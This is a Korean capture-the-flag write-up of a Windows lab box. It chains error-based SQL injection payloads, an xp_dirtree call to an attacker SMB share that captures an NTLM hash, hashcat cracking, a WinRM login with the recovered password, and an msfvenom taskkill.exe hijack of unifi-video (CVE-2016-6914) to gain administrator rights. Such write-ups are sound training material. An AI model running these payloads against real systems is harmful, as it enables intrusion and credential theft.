
Reconnaissance
nmap -sV 10.129.8.86
- http(80), https(443) 포트와 윈도우 RDP포트(3389), WinRM(5985) 포트가 열려있다.

- 80, 443 두포트 모두 강아지가 이러고 있고 별건 없어보인다 (IIS Windows Server)
nuclei -u 10.129.8.86
- 이 결과에서 shortscan에 취약하다고 나와서 해봤지만 이렇다할 단서는 없었다.
./shortscan http://10.129.8.86/
gobuster dir -u 10.129.8.86 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 60
- /remote 엔드포인트와 /mvc 엔드포인트가 존재한다.
/remote
- 아마 여기가 중요한 공격표면인듯하다.
- 이제 여기에 쓰이는 크리덴셜을 확보해야한다.
/mvc
- 이러한 CMS같은 신기한 페이지가 존재했다.

- 둘러보다가 Search.aspx 페이지에서 sqli가 발생하는걸 발견했다!!
C:\Users\jnogueira\Downloads\owasp10\1-owasp-top10-m1-injection-exercise-files\before\1-Injection\Search.aspx.cs:30이부분을 보니 owasp top10 sqli 실습용 페이지인것 같다
Exploitation
a' AND 1=CONVERT(int, (SELECT DB_NAME()))--a' AND 1=CONVERT(int, (SELECT SYSTEM_USER))--a' AND 1=CONVERT(int, @@version)--


- sqli를 이용해서 이런식으로 의도적인 에러를 유발하면서 DB에 대한 여러 정보를 얻어낼 수 있었다 (DBname, username, DBversion…)
sudo responder -I tun0a'; EXEC master.dbo.xp_dirtree '\\10.10.14.116\share';—
- mssql에 SQL 구문을 실행할 수 있는 상황이기 때문에 NTLM relay attack을 시도해 볼 수 있었다.
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt- ( stacy / xNnWo6272k7x )
evil-winrm -i 10.129.8.108 -u Stacy -p 'xNnWo6272k7x'
- 얻어낸 크리덴셜로 winrm에 붙어보니 성공하였다
- user flag 획득!!
Privilege Escalation


- 먼저 Winpeas를 돌려보려고 exe와 bat파일 모두 실행해 보았지만 group policy에 막히는 상태였다.
- 그래서 실행이 될법한
C:\Windows\Temp,C:\Windows\Tasks에서 똑같이 시도해보았다.

C:\Windows\Tasks경로에서 실행할 수 있었다.

- 일단 unifi-video라는 키워드가 눈에띈다. (처음 winrm접근시에 Stacy/Document에도 관련 파일이 존재했었음)
- 그리고 unattend.xml도 관리자의 자동 설정 관련된 내용도 있을 수 있기 때문에 봐야한다.
cat C:\Windows\Panther\Unattend.xml
- 일단 unattend.xml부터 읽어봤는데 뜻밖에 응원을 받았다..ㅋㅋ
Get-Content C:\ProgramData\unifi-video\logs\server.log -TotalCount 20
- 그리고 unifi-video에 대해 구글링을 해봤는데 3.8 이전버전에서 CVE가 존재하는걸 확인했다.
- 그리고 로그 앞단을 확인해서 부팅시에 3.7.3으로 부팅되는걸 확인했다!
CVE-2016-6914
- unifi-video 서비스가 종료될 때 프로세스를 정리하기 위해 윈도우 기본 명령어인 taskkill.exe를 호출한다.
- 이때 절대경로를 지정하지 않고 taskkill.exe로 지정해서 현재 경로부터 실행파일을 찾기 때문에 해당 경로에 같은 이름의 악성 스크립트를 저장해 놓으면 root 권한으로 원하는 스크립트를 실행시킬 수 있다.
icacls .
- 먼저 CVE를 활용하기 위해 해당 경로에 파일 쓰기권한이 있는지 체크
- 상속(Inherit) 규칙
- (I) : 상위 폴더에서 물려받음 (Inherited)
- (OI) : 하위 파일에 똑같이 적용 (Object Inherit)
- (CI) : 하위 폴더에 똑같이 적용 (Container Inherit)
- (IO) : 현재 폴더는 냅두고 하위에만 적용 (Inherit Only)
- 권한
- (F) : 모든 권한 (Full Control) - 관리자용
- (RX) : 읽기 및 실행 (Read & eXecute) - 일반 사용자 기본값
- (WD) : 파일 쓰기/생성 (Write Data)
- (AD) : 내용 추가/폴더 생성 (Append Data)
- (WEA) : 확장 속성 변경 (Write Extended Attributes)
- (WA) : 파일 속성 변경 (Write Attributes)
- 일반 Users가 파일쓰기와 추가 등이 가능했다!!
msfvenom -p windows/exec CMD="net localgroup administrators Stacy /add" -f exe -o taskkill.exe
- 기존 Stacy 유저를 administrators 그룹에 추가하는 내용의 스크립트를 taskkill.exe로 만든다.

- 그리고 unifi-video 경로에 복사한다.
Stop-Service "UniFiVideoService”
- 마지막으로 UniFiVideoService를 종료해주면 현재폴더의 taskkill.exe가 먼저 호출되면서 Stacy가 관리자 그룹에 추가될것이다.
- 참고로 여기서
net stop "UniFiVideoService”를 먼저 시도하였는데 권한이 부족해서Stop-Service를 사용하니 작동했다.

- Winrm에 재접속 해주면 Administrator 폴더에 접근할수 있게되어 권한상승에 성공한다.
- root flag 획득!!